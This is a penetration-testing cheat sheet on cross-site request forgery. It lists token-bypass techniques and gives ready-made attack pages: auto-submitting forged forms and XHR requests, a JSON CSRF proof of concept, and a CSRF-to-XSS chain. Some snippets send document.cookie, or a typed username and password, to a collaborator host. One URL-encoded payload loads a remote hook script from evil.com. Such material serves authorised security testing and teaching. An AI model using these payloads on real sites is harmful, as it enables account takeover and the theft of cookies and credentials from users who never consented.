CSRF

Summary

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.

3 conditions:

  • A relevant action.

  • Cookie-based session handling.

  • No unpredictable request parameters.

How to find:

  • Remove CSRF token from requests and/or put a blank space.

  • Change POST to GET.

  • Replace the CSRF token with a random value (for example 1).

  • Replace the CSRF token with a random token of the same restraints.

  • Extract token with HTML injection.

  • Use a CSRF token that has been used before.

  • Bypass regex.

  • Remove referer header.

  • Request a CSRF by executing the call manually and use that token for the request.

Approach

- Removing the token parameter entirely
- Setting the token to a blank string
- Changing the token to an invalid token of the same format
- Using a different user's token
- Put the parameters in the URL instead of POST body (and remove the token) and change the HTTP verb to GET
- Testing every sensitive endpoint
- Check whether the token might be guessed / cracked
- Check whether new tokens are generated for every session, if not they may be a hash of something simple like the user's email address. If so you can craft your own valid tokens.
- Try building the payload with multiple methods including a standard HTML form, multipart form, and XHR (Burp can help)

Quick attacks

# HTML GET
<a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>
# HTML GET (no interaction)
<img src=”http://vulnerable/endpoint?parameter=CSRFd">
# HTML POST:
<form action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
# HTML POST (no interaction)
<form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
<input name="parameter" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
# JSON GET:
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://vulnerable/endpoint");
xhr.send();
</script>
# JSON POST
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://vulnerable/endpoint");
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"role":admin}');
</script>

Tools

# https://github.com/0xInfection/XSRFProbe
xsrfprobe --help

Example 1

Vulnerable request example:
__
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
__
HTML with attack:
__
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
__

Example 2

# Exploit CSRF in GET:
<img src="https://vulnerable-website.com/email/[email protected]">
- SameSite cookie property avoid the attack:
→ Only from same site:
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
→ From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):
SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Json CSRF

Requirements:
1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
2. The HTTP request should not be fortify by the custom random token on the header as well in the body.(X-Auth-Token)
3. The HTTP request should not be fortify by the Same Origin Policy.
Bypass 2 & 3:
• Change the request method to GET append the body as query parameter.
• Test the request without the Customized Token (X-Auth-Token) and also header.
• Test the request with exact same length but different token.
If post is not allowed, can try with URL/param?_method=PUT
<body onload='document.forms[0].submit()'>
<form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
<input type="text" name='{"username":"blob","dummy":"' value='"}'>
<input type="submit" value="send">
</form>
<!---This results in a request body of:
{"username":"blob", "dummy": "="} -->

CSRF Token Bypass

CSRF Tokens
Unpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
→ Is transmited to the client through a hidden field:
- Example:
__
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&[email protected]
__
- Validation depends on method (usually POST):
__
GET /email/[email protected] HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
__
- Validation depend on token is present (if not, validation is skipped):
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
--
- CSRF not tied to user session
- CSRF tied to a non-session cookie:
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]
--
- CSRF token duplicated in cookie:
--
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
--
- Validation of referer depends on header present (if not, validation is skipped)
- Circumvent referer validation (if only checks the domain existence)
- Remove Anti-CSRF Token
- Spoof Anti-CSRF Token by Changing a few bits
- Using Same Anti-CSRF Token
- Weak Cryptography to generate Anti-CSRF Token
- Guessable Anti-CSRF Token
- Stealing Token with other attacks such as XSS.
- Converting POST Request to GET Request to bypass the CSRF Token Check. (This is what we will see for this article)
Other validations bypasses:
1) remove anticsrf tokens & parameter
2) pass blank paramter
3) add same length token
4) add another userss valid anti csrf token
5) random token in long length (aaaaaaaaa)
6) Try decode token
7) Use only static part of the token

CSRF sample POC

<html>
<script>
function jsonreq() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://target.com/api/endpoint", true);
xmlhttp.setRequestHeader("Content-Type","text/plain");
//xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.withCredentials = true;
xmlhttp.send(JSON.stringify({"test":"x"}));
}
jsonreq();
</script>
</html>

CSRF to reflected XSS

<html>
<body>
<p>Please wait... ;)</p>
<script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'
function submitRequest() {
var req = new XMLHttpRequest();
req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
req.setRequestHeader("Accept", "*\/*");
req.withCredentials = true;
req.onreadystatechange = function () {
if (req.readyState === 4) {
executeXSS();
}
}
req.send();
}
function executeXSS() {
window.location.assign(host+'<URI with XSS>'+alert_payload);
}
submitRequest();
</script>
</body>
</html>

Mindmaps